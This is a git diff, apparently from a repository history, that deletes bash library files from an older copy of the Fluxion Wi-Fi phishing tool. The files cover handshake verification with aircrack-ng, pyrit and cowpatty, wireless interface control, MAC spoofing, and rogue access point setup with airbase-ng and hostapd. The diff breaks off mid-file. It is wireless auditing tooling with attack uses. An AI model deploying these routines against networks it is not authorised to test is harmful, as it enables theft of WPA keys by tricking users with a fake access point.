FLUXSCRIPT END diff --git a/fluxion_origins/lib/FormatUtils.sh b/fluxion_origins/lib/FormatUtils.sh deleted file mode 100755 index 9fa2bb3..0000000 --- a/fluxion_origins/lib/FormatUtils.sh +++ /dev/null @@ -1,193 +0,0 @@ -#!/usr/bin/env bash - -if [ "$FormatUtilsVersion" ]; then return 0; fi -readonly FormatUtilsVersion="1.0" - -FormatTabLength=8 -FormatValidSpecifiers='%([+-]?([0-9]+|\*)?(\.([0-9]+|\*))?)?[bqdiouxXfeEgGcsnaA]' - -# This should be relocated (here temporarily) -tabs -$FormatTabLength # Set tab width to var - -# This function strips (some) invisible characters. -# It only strips those needed by fluxion, currently. -# Parameters: $1 - format -function format_strip_invisibles() { - # This function currently only strips the following: - # Color escape sequences, & control characters - FormatStripInvisibles=$(echo "$1" | sed -r 's/\\(e\[([0-9]*;?[0-9]+)m|(t|n))//g') -} - -# This function replaces all invisible characters -# with a specifier of their corresponding length. -# Parameters: $1 - format -function format_expand_invisibles() { - FormatExpandInvisibles=$(echo "$1" | sed -r 's/\\(e\[([0-9]*;?[0-9]+)m|n)/%0s/g; s/\\t/%'"$FormatTabLength"'s/g') -} - -# This function lists all operators in format. -# Parameters: $1 - format -function format_list_specifiers() { - # Special specifier also included (with length value as '*'). - FormatListSpecifiers=($(echo "$1" | grep -oP "$FormatValidSpecifiers")) -} - -# This function calculates the dynamic specifier count in format. -# Parameters: $1 - format [$2 - specifier array] -function format_calculate_dynamics_count() { - local __format_calculate_dynamics_count__specifiers=("${!2}") - - if [ ! "$2" ]; then - format_list_specifiers "$1" - __format_calculate_dynamics_count__specifiers=("${FormatListSpecifiers[@]}") - fi - - FormatCalculateDynamicsCount=0 - local __format_calculate_dynamics_count__specifier - for __format_calculate_dynamics_count__specifier in "${__format_calculate_dynamics_count__specifiers[@]}"; do - if echo "$__format_calculate_dynamics_count__specifier" | grep '\*' >/dev/null 2>&1; then ((FormatCalculateDynamicsCount++)) - fi - done -} - -# This function calculates total length of statics in format. -# Statics are all specifiers in format with a fixed size. -# Parameters: $1 - format [$2 - specifier array] -function format_calculate_statics_length() { - local __format_calculate_statics_length__specifiers=("${!2}") - - if [ ! "$2" ]; then - echo "format_calculate_statics_length missing \$2" - format_list_specifiers "$1" - __format_calculate_statics_length__specifiers=("${FormatListSpecifiers[@]}") - fi - FormatCalculateStaticsLength=$(echo "${__format_calculate_statics_length__specifiers[@]}" | sed -r 's/\.[0-9]+s/s/g' | grep -oP '\d+' | awk 'BEGIN {s=0} {s+=$0} END {print s}') -} - -# This function calculates total length of literals in format. -# Literals are all characters in format printed literally. -# Parameters: $1 - format [$2 - processed format [$3 - specifier array]] -function format_calculate_literals_length() { - local __format_calculate_literals_length__normalizedFormat="$(echo "$2" | sed -r 's/%%|\*\*/X/g')" - local __format_calculate_literals_length__specifiers=("${!3}") - - if [ ! "$2" ]; then - echo "format_calculate_literals_length missing \$2" - format_strip_invisibles "$1" - __format_calculate_literals_length__normalizedFormat="$(echo "$FormatStripInvisibles" | sed -r 's/%%|\*\*/X/g')" - fi - - if [ ! "$3" ]; then - echo "format_calculate_literals_length missing \$3" - format_list_specifiers "$1" - __format_calculate_literals_length__specifiers=("${FormatListSpecifiers[@]}") - fi - - FormatCalculateLiteralsLength=$((${#__format_calculate_literals_length__normalizedFormat} - ($(echo "${__format_calculate_literals_length__specifiers[@]}" | wc -m) - ${#__format_calculate_literals_length__specifiers[@]}))) -} - -# This function calculates the total length of statics & literals in format. -# Parameters: $1 - format [$2 - statics length [$3 - literals length]] -function format_calculate_length() { - local __format_calculate_length__staticsLength=$2 - local __format_calculate_length__literalsLength=$3 - - if [ ! "$2" ]; then - #echo "format_calculate_length missing \$2" - format_expand_invisibles "$1" - format_list_specifiers "$FormatExpandInvisibles" - format_calculate_statics_length X FormatListSpecifiers[@] - __format_calculate_length__staticsLength=$FormatCalculateStaticsLength - fi - - if [ ! "$3" ]; then - if [ "$2" ]; then - format_expand_invisibles "$1" - format_list_specifiers "$FormatExpandInvisibles" - fi - #echo "format_calculate_length missing \$3" - format_calculate_literals_length X "$FormatExpandInvisibles" FormatListSpecifiers[@] - __format_calculate_length__literalsLength=$FormatCalculateLiteralsLength - fi - - FormatCalculateLength=$((__format_calculate_length__staticsLength + __format_calculate_length__literalsLength)) -} - -# This function calculates total length of dynamics in format. -# Dynamics are all asterisk-containing specifiers in format. -# Parameters: $1 - format [$2 - format length ] -function format_calculate_dynamics_length() { - local __format_calculate_dynamics_length__formatLength=$2 - - if [ ! "$2" ]; then - echo "format_calculate_dynamics_length missing \$2" - format_calculate_length "$1" - __format_calculate_dynamics_length__formatLength=$FormatCalculateLength - fi - - FormatCalculateDynamicsLength=$(($(tput cols) - $__format_calculate_dynamics_length__formatLength)) -} - -# This function calculates the size of individual dynamics in format. -# Parameters: $1 - format [$2 - dynamics length [$3 - dynamics count]] -function format_calculate_autosize_length() { - local __format_calculate_autosize_length__dynamicsLength=$2 - local __format_calculate_autosize_length__dynamicsCount=$3 - - if [ ! "$2" ]; then - format_expand_invisibles "$1" - format_list_specifiers "$FormatExpandInvisibles" - format_calculate_statics_length X FormatListSpecifiers[@] - format_calculate_literals_length X "$FormatExpandInvisibles" FormatListSpecifiers[@] - format_calculate_length X "$FormatCalculateStaticsLength" "$FormatCalculateLiteralsLength" - format_calculate_dynamics_length X "$FormatCalculateLength" - __format_calculate_autosize_length__dynamicsLength=$FormatCalculateDynamicsLength - fi - - if [ ! "$3" ]; then - if [ "$2" ]; then format_list_specifiers "$1" - fi - format_calculate_dynamics_count X FormatListSpecifiers[@] - __format_calculate_autosize_length__dynamicsCount=$FormatCalculateDynamicsCount - fi - - if [ $__format_calculate_autosize_length__dynamicsCount -ne 0 -a \ - $__format_calculate_autosize_length__dynamicsLength -ge 0 ]; then FormatCalculateAutosizeLength=$((__format_calculate_autosize_length__dynamicsLength / __format_calculate_autosize_length__dynamicsCount)) - else FormatCalculateAutosizeLength=0 - fi -} - -# This function replaces dynamics' asterisks with their length, in format. -# Parameters: $1 - format [$2 - dynamics length [$3 - dynamics count]] -# Warning: Strings containing '\n' result in undefined behavior (not supported). -# Warning: Strings containing [0-9]+.* result in undefined behavior. -# Notice: Single asterisks are auto-sized, doubles are replaced "**" -> "*". -function format_apply_autosize() { - format_calculate_autosize_length "${@}" # Pass all arguments on. - FormatApplyAutosize=$1 - let format_apply_autosize_overcount=$FormatCalculateDynamicsLength%$FormatCalculateDynamicsCount - if [ $format_apply_autosize_overcount -gt 0 ]; then # If we've got left-over, fill it left-to-right. - let format_apply_autosize_oversize=$FormatCalculateAutosizeLength+1 - FormatApplyAutosize=$(echo "$FormatApplyAutosize" | sed -r 's/(^|[^*])\*(\.\*|[^*]|$)/\1'$format_apply_autosize_oversize'\2/'$format_apply_autosize_overcount'; s/([0-9]+\.)\*/\1'$format_apply_autosize_oversize'/'$format_apply_autosize_overcount) - fi - FormatApplyAutosize=$(echo "$FormatApplyAutosize" | sed -r 's/\*\.\*/'$FormatCalculateAutosizeLength'.'$FormatCalculateAutosizeLength'/g; s/(^|[^*])\*([^*]|$)/\1'$FormatCalculateAutosizeLength'\2/g; s/\*\*/*/g') -} - -# This function centers literal text. -# Parameters: $1 - literals -function format_center_literals() { - format_strip_invisibles "$1" - local __format_center_literals__text_length=${#FormatStripInvisibles} - format_apply_autosize "%*s%${__format_center_literals__text_length}s%*s" - FormatCenterLiterals=$(printf "$FormatApplyAutosize" "" "$1" "") -} - -# This function centers statics in format. -# Parameters: $1 - format -function format_center_dynamic() { - format_calculate_length "$1" - format_calculate_dynamics_length X $FormatCalculateLength - format_apply_autosize "%*s%${FormatCalculateLength}s%*s" $FormatCalculateDynamicsLength 2 - # Temporary, I'll find a better solution later (too tired). - FormatCenterDynamic=$(printf "$(echo "$FormatApplyAutosize" | sed -r 's/%[0-9]+s/%s/2')" "" "$1" "") -} diff --git a/fluxion_origins/lib/HashUtils.sh b/fluxion_origins/lib/HashUtils.sh deleted file mode 100755 index a5e94f8..0000000 --- a/fluxion_origins/lib/HashUtils.sh +++ /dev/null @@ -1,95 +0,0 @@ -#!/usr/bin/env bash - -if [ "$HashUtilsVersion" ]; then return 0; fi -readonly HashUtilsVersion="1.0" - -HashOutputDevice="/dev/stdout" - -function hash_check_handshake() { - local -r handshakeVerifier=$1 - local -r handshakePath=$2 - local -r handshakeAPSSID=$3 - local -r handshakeAPMAC=$4 - - echo "Verifier Parameters: " > $HashOutputDevice - echo " Verifier: $handshakeVerifier" > $HashOutputDevice - echo "Hash Path: $handshakePath" > $HashOutputDevice - echo "Hash SSID: \"$handshakeAPSSID\"" > $HashOutputDevice - echo " Hash MAC: $handshakeAPMAC" > $HashOutputDevice - - local analysis # Since it's being used in all relevant instances. - - case "$handshakeVerifier" in - "pyrit") - readarray analysis < <(pyrit -r "$handshakePath" analyze 2> $HashOutputDevice) - if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then - echo "Error: pyrit seems to be broken!" > $HashOutputDevice - return 1 - fi - - local hashMeta=$(echo "${analysis[@]}" | grep -F "AccessPoint ${handshakeAPMAC,,} ('$handshakeAPSSID')") - - if [ "$hashMeta" ]; then - local hashID=$(echo "$hashMeta" | awk -F'[ #:]' '{print $3}') - local hashData=$(echo "${analysis[@]}" | awk "\$0~/#$hashID: HMAC_(SHA[0-9]+_AES|MD5_RC4)/{ print \$0 }") - else - echo "No valid hash meta was found for \"$handshakeAPSSID\"" > $HashOutputDevice - fi - ;; - "aircrack-ng") - readarray analysis < <(aircrack-ng "$handshakePath" 2> $HashOutputDevice) - if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then - echo "Error: aircrack-ng seems to be broken!" > $HashOutputDevice - return 1 - fi - - local hashData=$(echo "${analysis[@]}" | grep -E "${handshakeAPMAC^^}\s+" | grep -F "$handshakeAPSSID") - ;; - "cowpatty") - readarray analysis < <(aircrack-ng "$handshakePath" 2> $HashOutputDevice) - if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then - echo "Error: cowpatty (aircrack-ng) seems to be broken!" > $HashOutputDevice - return 1 - fi - - if echo "${analysis[@]}" | grep -E "${handshakeAPMAC^^}\s+" | grep -qF "$handshakeAPSSID"; then - local hashData=$(cowpatty -cr "$handshakePath") - fi - ;; - *) - echo "Invalid verifier, quitting!" > $HashOutputDevice - return 1 - ;; - esac - - if [ -z "$hashData" ]; then - echo "Handshake for $handshakeAPSSID ($handshakeAPMAC) is missing!" - return 1 - fi - - case "$handshakeVerifier" in - "pyrit") - if echo "$hashData" | grep -qF "good"; then - local -r hashResult=1 - fi ;; - - "aircrack-ng") - if echo "$hashData" | grep -qE "\([0-9]+ handshake\)"; then - local -r hashResult=1 - fi ;; - - "cowpatty") - if echo "$hashData" | grep -q "Collected all necessary data to mount crack against WPA2/PSK passphrase."; then - local -r hashResult=1 - fi ;; - esac - - if [ -z "$hashResult" ]; then - echo "Invalid hash for $handshakeAPSSID ($handshakeAPMAC)!" > $HashOutputDevice - HASHCheckHandshake="invalid" - return 1 - else - echo "Valid hash for $handshakeAPSSID ($handshakeAPMAC)!" > $HashOutputDevice - HASHCheckHandshake="valid" - fi -} diff --git a/fluxion_origins/lib/Help.sh b/fluxion_origins/lib/Help.sh deleted file mode 100755 index fb5b36d..0000000 --- a/fluxion_origins/lib/Help.sh +++ /dev/null @@ -1,96 +0,0 @@ -#!/usr/bin/env bash - -fluxion_help(){ - echo " FLUXION(1) User Manuals FLUXION(1) - - - - NAME - fluxion - Fluxion is a security auditing and social-engineering - research tool - - SYNOPSIS - fluxion [-debug] [-l language ] attack ... - - DESCRIPTION - fluxion is a security auditing and social-engineering research tool. - It is a remake of linset by vk496 with (hopefully) less bugs and more - functionality. The script attempts to retrieve the WPA/WPA2 key from a - target access point by means of a social engineering (phising) attack. - It's compatible with the latest release of Kali (rolling). Fluxion's - attacks' setup is mostly manual, but experimental auto-mode handles - some of the attacks' setup parameters. - - OPTIONS - -v Print version number. - - --help Print help page and exit with 0. - - -m Run fluxion in manual mode instead of auto mode. - - -k Kill wireless connection if it is connected. - - -d Run fluxion in debug mode. - - -x Try to run fluxion with xterm terminals instead of tmux. - - -r Reload driver. - - -l - Define a certain language. - - -e - Select the target network based on the ESSID. - - -c - Indicate the channel(s) to listen to. - - -a - Define a certain attack. - - --ratio - Define the windows size. Bigger ratio -> smaller window size. - Default is 4. - - -b - Select the target network based on the access point MAC address. - - -j - Define a certain jamming interface. - - -a - Define a certain access point interface. - - FILES - /tmp/fluxspace/ - The system wide tmp directory. - $FLUXION/attacks/ - Folder where handshakes and passwords are stored in. - - ENVIRONMENT - FLUXIONAuto - Automatically run fluxion in auto mode if exported. - - FLUXIONDebug - Automatically run fluxion in debug mode if exported. - - FLUXIONWIKillProcesses - Automatically kill any interfering process(es). - - DIAGNOSTICS - Please checkout the other log files or use the debug mode. - - BUGS - Please report any bugs at: https://github.com/FluxionNetwork/flux- - ion/issues - - AUTHOR - Cyberfee, l3op, dlinkproto, vk496, MPX4132 - - SEE ALSO - aircrack-ng(8), - - - Linux MARCH 2018 FLUXION(1)" - -} diff --git a/fluxion_origins/lib/IOUtils.sh b/fluxion_origins/lib/IOUtils.sh deleted file mode 100755 index 49aad59..0000000 --- a/fluxion_origins/lib/IOUtils.sh +++ /dev/null @@ -1,149 +0,0 @@ -#!/usr/bin/env bash - -if [ "$IOUtilsVersion" ]; then return 0; fi -readonly IOUtilsVersion="1.0" - -if [ ! "$FLUXIONLibPath" ]; then return 1; fi - -IOUtilsHeader="[x] ================================ [x]" -IOUtilsQueryMark="[-] " -IOUtilsPrompt="[$USER@$HOSTNAME]> " - -if [ ! "$ArrayUtilsVersion" ]; then - source "$FLUXIONLibPath/ArrayUtils.sh" -fi - -io_input_choice() { - local __io_input_choice__choice - until [ ! -z "$__io_input_choice__choice" ]; do - echo -ne "$IOUtilsPrompt" - - local __io_input_choice__input - read __io_input_choice__input - - local __io_input_choice__choices - for __io_input_choice__choices in ${@}; do - array_contains $__io_input_choice__choices "$__io_input_choice__input" - if [ $? -eq 0 ]; then - __io_input_choice__choice="$__io_input_choice__input" - break - fi - done - done - - IOInputChoice=$__io_input_choice__choice -} - -io_dynamic_output() { - eval 'echo -ne "'${@}'"' -} - -io_input_enumerated_choice() { - local __io_input_enumerated_choice__choices=("${!1}") - local __io_input_enumerated_choice__indexes=($(seq ${#__io_input_numeric_choice__choices[@]})) - io_input_choice __io_input_enumerated_choice__indexes[@] - IOInputEnumeratedChoice=${__io_input_enumerated_choice__choices[$IOInputChoice]} -} - -# This function outputs formatted lines of fields. -# The function takes an output file (like stdout), -# a "printf format string," and a variable number -# of indirect-expansion passed arrays (reference). -# NOTICE: At least the first array must be passed! -# Example: /dev/stdout "%s is %s." name[@] mood[@] -io_output_format_fields() { - # Determine the amount of arguments passed. - local __io_output_format_fields__argument_count=${#@} - - # Load locally by indirect expansion, ${! ... }, - # and mangle the variable number argument arrays. - local __io_output_format_fields__i - for ((__io_output_format_fields__i = 3; __io_output_format_fields__i <= __io_output_format_fields__argument_count; __io_output_format_fields__i++)); do - eval "local __io_output_format_fields__field$__io_output_format_fields__i=(\"\${!$__io_output_format_fields__i}\")" - done - - # Determine the amount of records/lines to print. - # Notice at least the first array must be passed. - local __io_output_format_fields__record_count=${#__io_output_format_fields__field3[@]} - - for ((__io_output_format_fields__i = 0; __io_output_format_fields__i < __io_output_format_fields__record_count; __io_output_format_fields__i++)); do - local __io_output_format_fields__values="\"\${__io_output_format_fields__field"$( - seq -s "[$__io_output_format_fields__i]}\" \"\${__io_output_format_fields__field" 3 $__io_output_format_fields__argument_count - )"[$__io_output_format_fields__i]}\"" - eval "printf \"$2\" $__io_output_format_fields__values > $1" - done -} - -io_query_format_fields() { - # Assure we've got required parameters. - if [ ${#@} -lt 2 ]; then - return 1 - fi - - local __io_query_format_fields__argument_count=${#@} - - local __io_query_format_fields__query="$1" - local __io_query_format_fields__format="$2" - - # Load locally by indirect expansion, ${! ... }, - # and mangle the variable number argument arrays. - local __io_query_format_fields__i - for ((__io_query_format_fields__i = 3; __io_query_format_fields__i <= __io_query_format_fields__argument_count; __io_query_format_fields__i++)); do - eval "local __io_query_format_fields__f$__io_query_format_fields__i=(\"\${!$__io_query_format_fields__i}\")" - done - - local __io_query_format_fields__record_count=${#__io_query_format_fields__f3[@]} - local __io_query_format_fields__indexes=($(seq $__io_query_format_fields__record_count)) - - if [ ! -z "$1" ]; then - if [ "$(type -t $(echo -e "$IOUtilsHeader" | grep -vE '\s'))" = "function" ]; then $IOUtilsHeader - else echo -e "$IOUtilsHeader"; fi - - echo -e "$__io_query_format_fields__query" - echo - fi - - io_output_format_fields /dev/stdout "$__io_query_format_fields__format" __io_query_format_fields__indexes[@] ${@:3} - - echo - - io_input_choice __io_query_format_fields__indexes[@] - - IOQueryFormatFields=() - for ((__io_query_format_fields__i = 3; __io_query_format_fields__i <= __io_query_format_fields__argument_count; __io_query_format_fields__i++)); do - eval "IOQueryFormatFields[${#IOQueryFormatFields[@]}]=\${__io_query_format_fields__f$__io_query_format_fields__i[IOInputChoice - 1]}" - done -} - -io_query_choice() { - # Assure we've got required parameters. - if [ ${#@} -lt 2 ]; then - return 1 - fi - - __io_query_choice__query=$([ -z "$1" ] && echo -n "" || echo -ne "$FLUXIONVLine $1\n") - io_query_format_fields "$__io_query_choice__query" "\t$CRed[$CSYel%d$CClr$CRed]$CClr %b\n" $2 - - IOQueryChoice="${IOQueryFormatFields[0]}" -} - -io_query_file() { - if [ ${#@} -lt 2 ]; then - return 1 - fi - - local __io_query_file__options - - # List a line per line and redirect output. - # readarray __io_query_file__options < $2 - mapfile __io_query_file__options <$2 - - # Strip newline characters from array elements - __io_query_file__options=("${__io_query_file__options[@]/$'\n'/}") - - io_query_choice "$1" __io_query_file__options[@] - - IOQueryFile=$IOQueryChoice -} - -# FLUXSCRIPT END diff --git a/fluxion_origins/lib/InterfaceUtils.sh b/fluxion_origins/lib/InterfaceUtils.sh deleted file mode 100755 index 8ed1da8..0000000 --- a/fluxion_origins/lib/InterfaceUtils.sh +++ /dev/null @@ -1,182 +0,0 @@ -#!/usr/bin/env bash - -#if [ "$InterfaceUtilsVersion" ]; then return 0; fi -#readonly InterfaceUtilsVersion="1.0" - -# The methods used in this script are taken from airmon-ng. -# This is all thanks for the airmon-ng authors, thanks guys. -InterfaceUtilsOutputDevice="/dev/stdout" - -if [ -d /sys/bus/usb ] # && hash lsusb; - then InterfaceUSBBus=1 -fi - -if [ -d /sys/bus/pci -o -d /sys/bus/pci_express -o -d /proc/bus/pci ] # && hash lspci; - then InterfacePCIBus=1 -fi - -# Checks if the interface belongs to a physical device. -function interface_is_real() { - test -d /sys/class/net/$1/device - return $? -} - -# Checks if the interface belongs to a wireless device. -function interface_is_wireless() { - grep -qs "DEVTYPE=wlan" /sys/class/net/$1/uevent - return $? -} - -# Returns an array of absolutely all interfaces. -# Notice: That includes interfaces such as the loopback interface. -function interface_list_all() { - InterfaceListAll=(/sys/class/net/*) - InterfaceListAll=("${InterfaceListAll[@]//\/sys\/class\/net\//}") -} - -# Returns an array of interfaces pertaining to a physical device. -function interface_list_real() { - InterfaceListReal=() - interface_list_all - local __interface_list_real__candidate - for __interface_list_real__candidate in "${InterfaceListAll[@]}"; do - if interface_is_real $__interface_list_real__candidate; then InterfaceListReal+=("$__interface_list_real__candidate") - fi - done -} - -# Returns an array of interfaces pertaining to a wireless device. -function interface_list_wireless() { - InterfaceListWireless=() - interface_list_all - local __interface_list_wireless__candidate - for __interface_list_wireless__candidate in "${InterfaceListAll[@]}"; do - if interface_is_wireless $__interface_list_wireless__candidate; then InterfaceListWireless+=("$__interface_list_wireless__candidate") - fi - done -} - -function interface_driver() { - InterfaceDriver=$(basename $(readlink /sys/class/net/$1/device/driver)) -} - -function interface_physical() { - if [ ! "$1" ]; then return 1; fi - - unset InterfacePhysical - - local -r interface_physical_path="/sys/class/net/$1/phy80211" - - if [ -d "$interface_physical_path" ]; then - if [ -r "$interface_physical_path/name" ]; then InterfacePhysical="$(cat "$interface_physical_path/name")" - fi - if [ ! "${InterfacePhysical// /}" ]; then InterfacePhysical="$(ls -l "$interface_physical_path" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/')" - fi - fi - - if [ ! "$InterfacePhysical" ]; then return 2; fi -} - -function interface_hardware() { - if [ ! "$1" ]; then return 1; fi - - local __interface_hardware__device="/sys/class/net/$1/device" - local __interface_hardware__hwinfo="$__interface_hardware__device/modalias" - - InterfaceHardwareBus="$(cut -d ":" -f 1 "$__interface_hardware__hwinfo" 2>$InterfaceUtilsOutputDevice)" - - case "$InterfaceHardwareBus" in - "usb") # Wanted to replace the line below with awk, but i'll probably just add complexity & issues (mawk vs gawk). - InterfaceHardwareID="$(cut -d ":" -f 2 $__interface_hardware__hwinfo | cut -b 1-10 | sed 's/^.//;s/p/:/')" - ;; - "pci" | "pcmcia" | "sdio") - InterfaceHardwareID="$(cat "$__interface_hardware__device/vendor" 2>$InterfaceUtilsOutputDevice):$(cat "$__interface_hardware__device/device" 2>$InterfaceUtilsOutputDevice)" - ;; - default) # The following will only work for USB devices. - InterfaceHardwareID="$(cat "$__interface_hardware__device/idVendor" 2>$InterfaceUtilsOutputDevice):$(cat "$__interface_hardware__device/idProduct" 2>$InterfaceUtilsOutputDevice)" - InterfaceHardwareBus="usb" - ;; # This will be reset below if InterfaceHardwareID is invalid. - esac - - # Check for invalid InterfaceHardwareID (starts or ends with :) .. not a happy face, still won't quote it. - if echo "$InterfaceHardwareID" | egrep -q "^:|:$"; then - unset InterfaceHardwareID - unset InterfaceHardwareBus - return 2 - else - # Remove any extraneous hex markers. - InterfaceHardwareID=${InterfaceHardwareID//0x/} - fi -} - -function interface_chipset() { - if [ ! "$1" ]; then return 1; fi - - if ! interface_hardware "$1"; then return 2; fi - - case "$InterfaceHardwareBus" in - "usb") - if [ ! "$InterfaceUSBBus" ]; then return 3; fi - InterfaceChipset="$(lsusb -d "$InterfaceHardwareID" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //')" - ;; - "pci" | "pcmcia") - if [ ! "$InterfacePCIBus" ]; then return 4; fi - InterfaceChipset="$(lspci -d $InterfaceHardwareID | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')" - ;; - "sdio") - if [[ "${InterfaceHardwareID,,}" == "0x02d0"* ]]; then InterfaceChipset=$(printf "Broadcom %d" ${InterfaceHardwareID:7}) - else InterfaceChipset="Unknown chipset for SDIO device." - fi - ;; - default) - InterfaceChipset="Unknown device chipset & device bus." - ;; - esac -} - -function interface_state() { - if [ ! "$1" ]; then return 1; fi - local __interface_state__stateFile="/sys/class/net/$1/operstate" - - if [ ! -f "$__interface_state__stateFile" ]; then return 2; fi - InterfaceState=$(cat "$__interface_state__stateFile") -} - -function interface_set_state() { - if [ "${#@}" -ne 2 ]; then return 1; fi - # TODO: Add alternatives to 'ip' in case of failure. - ip link set "$1" "$2" - return $? -} - -function interface_set_mode() { - if [ "${#@}" -ne 2 ]; then return 1; fi - if ! interface_set_state "$1" "down"; then return 2; fi - if ! iw dev "$1" set type "$2" &> $InterfaceUtilsOutputDevice; then - if ! iwconfig "$1" mode "$2" &> $InterfaceUtilsOutputDevice - then return 3 - fi - fi - if ! interface_set_state "$1" "up"; then return 4; fi -} - -function interface_reidentify() { - if [ ${#@} -ne 2 ]; then return 1; fi - - local -r __interface_reidentify__oldIdentifier=$1 - local -r __interface_reidentify__newIdentifier=$2 - - if [[ $__interface_reidentify__newIdentifier == *" "* ]] - then return 2 - fi - - if ! interface_set_state $__interface_reidentify__oldIdentifier down - then return 3 - fi - - # TODO: Add alternatives to 'ip' in case of failure. - ip link set $__interface_reidentify__oldIdentifier name $__interface_reidentify__newIdentifier - return $? -} - -# FLUXSCRIPT END diff --git a/fluxion_origins/lib/SandboxUtils.sh b/fluxion_origins/lib/SandboxUtils.sh deleted file mode 100755 index e78fb49..0000000 --- a/fluxion_origins/lib/SandboxUtils.sh +++ /dev/null @@ -1,37 +0,0 @@ -#!/usr/bin/env bash - -if [ "$SandboxUtilsVersion" ]; then return 0; fi -readonly SandboxUtilsVersion="1.0" - -SandboxWorkspacePath="/tmp/sandbox" -SandboxOutputDevice="/dev/stdout" - -# After changing global identifiers in the main script, -# I forgot to update the identifiers here, leading to a -# horrific accident where the script ended and executed -# the command "rm -rf /*" ... yeah, fuck that... -# Spent an entire day retreiving all my shit back. -function sandbox_remove_workfile() { - # Check we've got the environment variables ready. - if [[ -z "$SandboxWorkspacePath" || -z "$SandboxOutputDevice" ]]; then - echo "The workspace path, or the output device is missing." >$SandboxOutputDevice - return 1 - fi - - # Check we're actually deleting a workfile. - if [[ "$1" != $SandboxWorkspacePath* ]]; then - echo "Stopped an attempt to delete non-workfiles." >$SandboxOutputDevice - return 2 - fi - - # Attempt to remove iff it exists. - #if [ ! -e "$1" -a "$1" != *"/"*"*" ]; then - # echo "Stopped an attempt to delete non-existent files" > $SandboxOutputDevice - # return 3; - #fi - - # Remove the target file (do NOT force it). - eval "rm -r $1 &> $SandboxOutputDevice" -} - -# FLUXSCRIPT END diff --git a/fluxion_origins/lib/ap/airbase-ng.sh b/fluxion_origins/lib/ap/airbase-ng.sh deleted file mode 100755 index 2b7e3f9..0000000 --- a/fluxion_origins/lib/ap/airbase-ng.sh +++ /dev/null @@ -1,89 +0,0 @@ -#!/usr/bin/env bash - -# ================================================================ -# Configuration Section -# ================================================================ -#APServiceConfigDirectory=$FLUXIONWorkspacePath -# ================================================================ - -#if [ "$APServiceVersion" ]; then return 0; fi -#readonly APServiceVersion="1.0" - -function ap_service_stop() { - if [ "$APServicePID" ]; then - kill $APServicePID &> $FLUXIONOutputDevice - fi - - APServicePID="" -} - -function ap_service_reset() { - ap_service_stop - - APServiceAccessInterface="" - - APServiceChannel="" - APServiceMAC="" - APServiceSSID="" - APServiceInterfaceAddress="" - APServiceInterface="" -} - -function ap_service_route() { - local networkSubnet=${APServiceInterfaceAddress%.*} - local networkAddress=$(( ( ${APServiceInterfaceAddress##*.} + 1 ) % 255 )) - - if [ $hostID -eq 0 ]; then - let hostID++ - fi - - # TODO: Dynamically get the airbase-ng tap interface & use below. - # WARNING: Notice the interface below is STATIC, it'll break eventually! - if ! ifconfig "at0" $networkSubnet.$networkAddress \ - netmask 255.255.255.0; then - return 1 - fi - - if ! sysctl net.ipv6.conf.at0.disable_ipv6=1 &> $FLUXIONOutputDevice; then - return 2 - fi -} - -function ap_service_prep() { - if [ ${#@} -lt 5 ]; then return 1; fi - - APServiceInterface=$1 - APServiceInterfaceAddress=$2 - APServiceSSID=$3 - APServiceMAC=$4 - APServiceChannel=$5 - - ap_service_stop - - # Spoof virtual interface MAC address. - # This is done by airbase-ng automatically. - - # airbase-ng uses a monitor-mode virtual interface - # and creates a separate interface, atX, for dhcpd. - APServiceAccessInterface="at0" -} - -function ap_service_start() { - ap_service_stop - - xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" \ - -title "FLUXION AP Service [airbase-ng]" -e \ - airbase-ng -P -e $APServiceSSID -c $APServiceChannel \ - -a $APServiceMAC $APServiceInterface & - local parentPID=$! - - # Wait till airebase-ng starts and creates the extra virtual interface. - while [ ! "$APServicePID" ]; do - sleep 1 - APServicePID=$(pgrep -P $parentPID) - done - - ap_service_route -} - -# FLUXSCRIPT END diff --git a/fluxion_origins/lib/ap/hostapd.sh b/fluxion_origins/lib/ap/hostapd.sh deleted file mode 100755 index 38f1cc7..0000000 --- a/fluxion_origins/lib/ap/hostapd.sh +++ /dev/null @@ -1,98 +0,0 @@ -#!/usr/bin/env bash - -# ================================================================ -# Configuration Section -# ================================================================ -APServiceConfigDirectory=$FLUXIONWorkspacePath -# ================================================================ - -#if [ "$APServiceVersion" ]; then return 0; fi -#readonly APServiceVersion="1.0" - -function ap_service_stop() { - if [ "$APServicePID" ]; then - kill $APServicePID &> $FLUXIONOutputDevice - fi - - APServicePID="" -} - -function ap_service_reset() { - ap_service_stop - - # Reset MAC address to original. - ifconfig $APServiceInterface down - sleep 0.5 - - macchanger -p $APServiceInterface &> $FLUXIONOutputDevice - sleep 0.5 - - ifconfig $APServiceInterface up - sleep 0.5 - - APServiceAccessInterface="" - - APServiceChannel="" - APServiceMAC="" - APServiceSSID="" - APServiceInterfaceAddress="" - APServiceInterface="" - -} - -function ap_service_route() { - echo "APService: No custom routes for hostapd" > $FLUXIONOutputDevice -} - -function ap_service_prep() { - if [ ${#@} -lt 5 ]; then return 1; fi - - APServiceInterface=$1 - APServiceInterfaceAddress=$2 - APServiceSSID=$3 - APServiceMAC=$4 - APServiceChannel=$5 - - ap_service_stop - - # Prepare the hostapd config file. - echo "\ -interface=$APServiceInterface -driver=nl80211 -ssid=$APServiceSSID -channel=$APServiceChannel" \ - > "$APServiceConfigDirectory/$APServiceMAC-hostapd.conf" - - # Spoof virtual interface MAC address. - ifconfig $APServiceInterface down - sleep 0.5 - - macchanger --mac=$APServiceMAC $APServiceInterface &> $FLUXIONOutputDevice - sleep 0.5 - - ifconfig $APServiceInterface up - sleep 0.5 - - # HostAPD sets the virtual interface mode - # to master, which is supported by dhcpd. - APServiceAccessInterface=$APServiceInterface -} - -function ap_service_start() { - ap_service_stop - - xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" \ - -title "FLUXION AP Service [hostapd]" -e \ - hostapd "$APServiceConfigDirectory/$APServiceMAC-hostapd.conf" & - local parentPID=$! - - # Wait till hostapd has started and its virtual interface is ready. - while [ ! "$APServicePID" ]; do - sleep 1 - APServicePID=$(pgrep 